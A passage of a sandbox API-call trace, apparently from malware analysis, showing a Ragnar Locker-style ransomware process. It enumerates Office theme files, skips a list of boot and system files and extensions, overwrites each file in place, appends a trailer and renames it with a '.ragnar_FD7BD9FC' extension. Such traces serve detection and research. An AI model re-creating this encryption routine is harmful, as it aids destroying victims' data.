lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.121] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 0x20 [0094.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.123] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=228746) returned 1 [0094.124] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x37d81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.124] GetProcessHeap () returned 0x580000 [0094.124] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.124] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.126] VirtualAlloc (lpAddress=0x0, dwSize=0x37d8a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.126] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.126] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.126] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x37d8a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x37d8a, lpOverlapped=0x0) returned 1 [0094.131] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.132] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x37d8a, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.132] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x37d8a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x37d8a, lpOverlapped=0x0) returned 1 [0094.133] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x37d8a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.133] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.134] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x37d8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.134] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.134] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.134] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.134] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.134] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.134] GetProcessHeap () returned 0x580000 [0094.134] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.134] CloseHandle (hObject=0x98) returned 1 [0094.134] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" [0094.134] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.ragnar_FD7BD9FC" [0094.134] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.137] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.eftx", cAlternateFileName="PERSPE~1.EFT")) returned 1 [0094.137] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.137] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Perspective.eftx" | out: lpString1="Perspective.eftx") returned="Perspective.eftx" [0094.137] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned=".eftx" [0094.137] lstrcmpiW (lpString1="Perspective.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.137] lstrcmpiW (lpString1="Perspective.eftx", lpString2="autorun.inf") returned 1 [0094.137] lstrcmpiW (lpString1="Perspective.eftx", lpString2="boot.ini") returned 1 [0094.137] lstrcmpiW (lpString1="Perspective.eftx", lpString2="bootfont.bin") returned 1 [0094.138] lstrcmpiW (lpString1="Perspective.eftx", lpString2="bootsect.bak") returned 1 [0094.138] lstrcmpiW (lpString1="Perspective.eftx", lpString2="bootmgr") returned 1 [0094.138] lstrcmpiW (lpString1="Perspective.eftx", lpString2="bootmgr.efi") returned 1 [0094.138] lstrcmpiW (lpString1="Perspective.eftx", lpString2="bootmgfw.efi") returned 1 [0094.138] lstrcmpiW (lpString1="Perspective.eftx", lpString2="desktop.ini") returned 1 [0094.138] lstrcmpiW (lpString1="Perspective.eftx", lpString2="iconcache.db") returned 1 [0094.138] lstrcmpiW (lpString1="Perspective.eftx", lpString2="ntldr") returned 1 [0094.138] lstrcmpiW (lpString1="Perspective.eftx", lpString2="ntuser.dat") returned 1 [0094.138] lstrcmpiW (lpString1="Perspective.eftx", lpString2="ntuser.dat.log") returned 1 [0094.138] lstrcmpiW (lpString1="Perspective.eftx", lpString2="ntuser.ini") returned 1 [0094.138] lstrcmpiW (lpString1="Perspective.eftx", lpString2="thumbs.db") returned -1 [0094.138] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.138] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.138] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.138] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.138] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.138] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.138] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 0x20 [0094.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.139] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21423) returned 1 [0094.139] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x53a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.139] GetProcessHeap () returned 0x580000 [0094.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.139] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.141] VirtualAlloc (lpAddress=0x0, dwSize=0x53af, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.141] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.141] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.141] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x53af, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x53af, lpOverlapped=0x0) returned 1 [0094.142] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.142] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x53af, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.142] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x53af, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x53af, lpOverlapped=0x0) returned 1 [0094.143] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x53af, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.143] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.143] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x53af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.143] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.143] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.143] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.143] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.143] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.143] GetProcessHeap () returned 0x580000 [0094.143] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.143] CloseHandle (hObject=0x98) returned 1 [0094.143] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" [0094.143] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.ragnar_FD7BD9FC" [0094.144] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.144] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.eftx", cAlternateFileName="PUSHPI~1.EFT")) returned 1 [0094.144] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.144] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Pushpin.eftx" | out: lpString1="Pushpin.eftx") returned="Pushpin.eftx" [0094.144] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned=".eftx" [0094.144] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.144] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="autorun.inf") returned 1 [0094.144] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="boot.ini") returned 1 [0094.144] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="bootfont.bin") returned 1 [0094.144] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="bootsect.bak") returned 1 [0094.144] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="bootmgr") returned 1 [0094.144] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="bootmgr.efi") returned 1 [0094.145] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="bootmgfw.efi") returned 1 [0094.145] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="desktop.ini") returned 1 [0094.145] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="iconcache.db") returned 1 [0094.145] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="ntldr") returned 1 [0094.145] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="ntuser.dat") returned 1 [0094.145] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="ntuser.dat.log") returned 1 [0094.145] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="ntuser.ini") returned 1 [0094.145] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="thumbs.db") returned -1 [0094.145] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.145] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.145] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.145] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.145] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.145] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.145] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 0x20 [0094.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.146] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=782121) returned 1 [0094.146] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xbef20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.146] GetProcessHeap () returned 0x580000 [0094.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.146] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.148] VirtualAlloc (lpAddress=0x0, dwSize=0xbef29, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0094.148] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.148] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.148] ReadFile (in: hFile=0x98, lpBuffer=0x21c0000, nNumberOfBytesToRead=0xbef29, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1eaf34*=0xbef29, lpOverlapped=0x0) returned 1 [0094.163] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.167] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbef29, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.167] WriteFile (in: hFile=0x98, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0xbef29, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbef29, lpOverlapped=0x0) returned 1 [0094.169] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbef29, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.169] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.173] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xbef29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.173] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.173] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.173] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.173] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.173] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.174] GetProcessHeap () returned 0x580000 [0094.174] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.174] CloseHandle (hObject=0x98) returned 1 [0094.174] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" [0094.174] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.ragnar_FD7BD9FC" [0094.174] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.175] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a228760, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8a228760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0094.175] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.175] lstrcpyW (in: lpString1=0x1eb64e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0094.175] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\RGNR_FD7BD9FC.txt") returned=".txt" [0094.175] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0094.175] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.eftx", cAlternateFileName="SLIPST~1.EFT")) returned 1 [0094.175] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.175] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Slipstream.eftx" | out: lpString1="Slipstream.eftx") returned="Slipstream.eftx" [0094.175] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned=".eftx" [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="autorun.inf") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="boot.ini") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="bootfont.bin") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="bootsect.bak") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="bootmgr") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="bootmgr.efi") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="bootmgfw.efi") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="desktop.ini") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="iconcache.db") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="ntldr") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", lpString2="ntuser.dat") returned 1 [0094.175] lstrcmpiW (lpString1="Slipstream.eftx", 